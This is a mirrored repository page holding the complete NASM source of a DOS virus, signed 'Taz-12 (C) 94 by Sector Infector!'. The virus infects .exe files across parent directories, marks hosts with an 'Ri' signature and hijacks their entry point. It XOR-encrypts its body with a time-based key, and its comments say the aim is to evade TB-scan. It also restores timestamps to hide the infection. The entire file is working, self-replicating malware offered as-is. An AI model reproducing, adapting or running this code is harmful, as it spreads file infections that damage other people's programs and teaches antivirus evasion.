mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
253 lines
6.8 KiB
NASM
253 lines
6.8 KiB
NASM
cseg segment byte public 'code'
|
|
assume cs:cseg, ds:cseg
|
|
|
|
org 100h
|
|
|
|
start_of_virus:
|
|
|
|
call get_offset
|
|
get_offset: ;alternative way to get the delta
|
|
mov di,sp ;offset without activating any flags in
|
|
mov bp,word ptr ss:[di] ;TB-scan
|
|
sub bp,offset get_offset
|
|
inc sp
|
|
inc sp
|
|
|
|
push ds ;save es & ds
|
|
push es
|
|
push cs ;and point ds to code segment
|
|
pop ds
|
|
|
|
call encrypt_decrypt ;decrypt contents of file
|
|
|
|
start_of_encryption:
|
|
cld ;clear direction flag
|
|
|
|
mov ah,1ah ;set new dta area
|
|
lea dx,[bp+dta_area]
|
|
int 21h
|
|
|
|
mov bx,es
|
|
push cs ;es points to code segment
|
|
pop es
|
|
|
|
lea si,[bp+return2_buffer] ;this code prepares the return code
|
|
lea di,[bp+return_buffer]
|
|
movsw ;transfer buffer contents
|
|
lodsw
|
|
add ax,bx ;bx holds start es = psp
|
|
add ax,10h
|
|
stosw
|
|
|
|
; lea di,[bp+stack_return]
|
|
; lea si,[bp+stack_save] ;si already points to stack_save
|
|
add di,8 ;saving a byte with this code
|
|
lodsw ;prepares the restore of ss/sp
|
|
add ax,bx
|
|
add ax,10h
|
|
stosw
|
|
movsw
|
|
|
|
|
|
mov ah,47h ;save starting directory
|
|
xor dl,dl
|
|
lea si,[bp+save_dir]
|
|
int 21h
|
|
|
|
find_new_files: ;start finding files
|
|
mov ah,4eh
|
|
mov cx,7
|
|
lea dx,[bp+search_pattern]
|
|
find_files:
|
|
int 21h
|
|
|
|
jnc open_file ;if found a file
|
|
lea dx,[bp+dir_mask] ;else change directory
|
|
mov ah,3bh
|
|
int 21h
|
|
jnc find_new_files
|
|
jmp no_more_files ;end of all files
|
|
|
|
open_file: ;open the found file
|
|
mov ax,3d02h
|
|
lea dx,[bp+dta_area+1eh]
|
|
int 21h
|
|
|
|
xchg ax,bx ;file handle in bx
|
|
|
|
mov ah,3fh ;read the exe header to exe_header
|
|
mov cx,18h
|
|
lea dx,[bp+exe_header]
|
|
int 21h
|
|
|
|
lea si,[bp+exe_header] ;check if it's really a executable
|
|
lodsw
|
|
cmp ax,'ZM'
|
|
je check_infected
|
|
cmp ax,'MZ'
|
|
je check_infected
|
|
jmp no_exe ;else jump
|
|
|
|
check_infected:
|
|
|
|
add si,10h ;saving another byte
|
|
; lea si,[bp+exe_header+12h]
|
|
lodsw
|
|
cmp ax,'Ri' ;is it already infected?
|
|
jne start_infect
|
|
jmp already_infected
|
|
|
|
|
|
start_infect:
|
|
lea di,[bp+return2_buffer] ;put the files ip/cs in return2_buffer
|
|
movsw
|
|
movsw
|
|
|
|
lea si,[bp+exe_header+0eh] ;save the files ss/sp in stack_save
|
|
movsw
|
|
movsw
|
|
|
|
lea di,[bp+exe_header+12h] ;mark the file infected
|
|
mov ax,'Ri'
|
|
stosw
|
|
|
|
mov al,2 ;go to end_of_file
|
|
call go_eof ;dx/ax is file length at return
|
|
|
|
mov cx,10h ;use div to save bytes instead of speed
|
|
div cx
|
|
sub ax,word ptr ds:[bp+exe_header+8]
|
|
xchg dx,ax
|
|
stosw ;put new ip/cs in exe_header
|
|
xchg dx,ax
|
|
stosw
|
|
|
|
inc ax ;put new suitable ss/sp in exe_header
|
|
inc ax
|
|
mov word ptr [bp+exe_header+0eh],ax
|
|
mov word ptr [bp+exe_header+10h],4b0h
|
|
|
|
|
|
mov ah,2ch ;get system time for random number
|
|
int 21h
|
|
xor dh,dh ;just alter the code a little bit
|
|
or dl,00001010b ;with encryption so TB-scan wont't
|
|
mov word ptr [bp+encryption_value],dx ;find garbage instruction
|
|
|
|
mov ah,40h ;prepare to append virus to file
|
|
lea dx,[bp+start_of_virus]
|
|
call append_virus ;call it
|
|
|
|
mov al,2 ;go to end of file
|
|
call go_eof
|
|
|
|
mov cx,512 ;get filesize in 512 modules
|
|
div cx
|
|
inc ax
|
|
mov word ptr [bp+exe_header+2],dx ;put modulo/filesize in
|
|
mov word ptr [bp+exe_header+4],ax ;exe header
|
|
|
|
|
|
xor al,al ;go to beginning of file
|
|
call go_eof
|
|
|
|
mov ah,40h ;write new exe header
|
|
mov cx,18h
|
|
lea dx,[bp+exe_header]
|
|
int 21h
|
|
|
|
lea si,[bp+dta_area+16h] ;restore time/date stamp
|
|
mov cx,word ptr [si]
|
|
mov dx,word ptr [si+2]
|
|
mov ax,5701h
|
|
int 21h
|
|
|
|
already_infected:
|
|
no_exe:
|
|
|
|
mov ah,3eh ;close file
|
|
int 21h
|
|
|
|
mov ax,4301h ;restore file attribute
|
|
mov cl,byte ptr [bp+dta_area+15h]
|
|
lea dx,[bp+dta_area+1eh]
|
|
int 21h
|
|
|
|
mov ah,4fh ;find next file
|
|
jmp find_files
|
|
|
|
no_more_files:
|
|
|
|
lea dx,[bp+save_dir] ;restore starting directory
|
|
mov ah,3bh
|
|
int 21h
|
|
|
|
pop es ;shrink memory block
|
|
mov ah,4ah
|
|
mov bx,10000
|
|
int 21h
|
|
push es
|
|
|
|
mov ah,48h ;allocate a new 3k block
|
|
mov bx,192
|
|
int 21h
|
|
jc no_mem
|
|
dec ax
|
|
mov es,ax
|
|
mov word ptr es:[1],0008h ;mark DOS as owner and it will
|
|
no_mem: ;reduce available memory to DOS
|
|
|
|
pop es ;restore old es/ds
|
|
pop ds
|
|
|
|
cli ;must use this before altering ss/sp
|
|
mov ss,word ptr cs:[bp+stack_return] ;put back original ss/sp
|
|
mov sp,word ptr cs:[bp+stack_return+2]
|
|
sti ;interrupts allowed again
|
|
|
|
end_part:
|
|
db 0eah ;jmp to original ip
|
|
return_buffer db 0,0,0,0
|
|
return2_buffer dw 0,0fff0h ;code for carrier file to exit
|
|
stack_save dd ?
|
|
stack_return dd ?
|
|
dir_mask db '..',0
|
|
search_pattern db '*.exe',0
|
|
signature db "Taz-12 (C) 94 by Sector Infector!"
|
|
go_eof: ;procedure to go to beginning and
|
|
mov ah,42h ;end of file
|
|
xor cx,cx ;this saves a few bytes as it's
|
|
cwd ;used a few times
|
|
int 21h
|
|
ret
|
|
end_of_encryption:
|
|
pad db 0 ;pad out a byte so first byte of
|
|
;encryption value won't be overwritten
|
|
encryption_value dw 0
|
|
|
|
encrypt_decrypt: ;cryptation routine
|
|
mov si,word ptr [bp+encryption_value]
|
|
lea di,[bp+start_of_encryption]
|
|
mov cx,(end_of_encryption-start_of_encryption+1)/2
|
|
crypt_loop:
|
|
xor word ptr [di],si
|
|
inc di
|
|
inc di
|
|
loop crypt_loop
|
|
ret
|
|
|
|
append_virus:
|
|
call encrypt_decrypt ;encrypt virus before write
|
|
mov cx,end_of_virus-start_of_virus ;cx is length of virus
|
|
int 21h ;call 40h
|
|
call encrypt_decrypt ;decrypt virus again
|
|
ret
|
|
end_of_virus:
|
|
exe_header db 18h dup(?) ;don't need to copy this shit
|
|
dta_area db 43 dup(?) ;to the next file to infect
|
|
save_dir db 64 dup(?) ;return adress is already saved!
|
|
cseg ends
|
|
end start_of_virus
|
|
|
|
|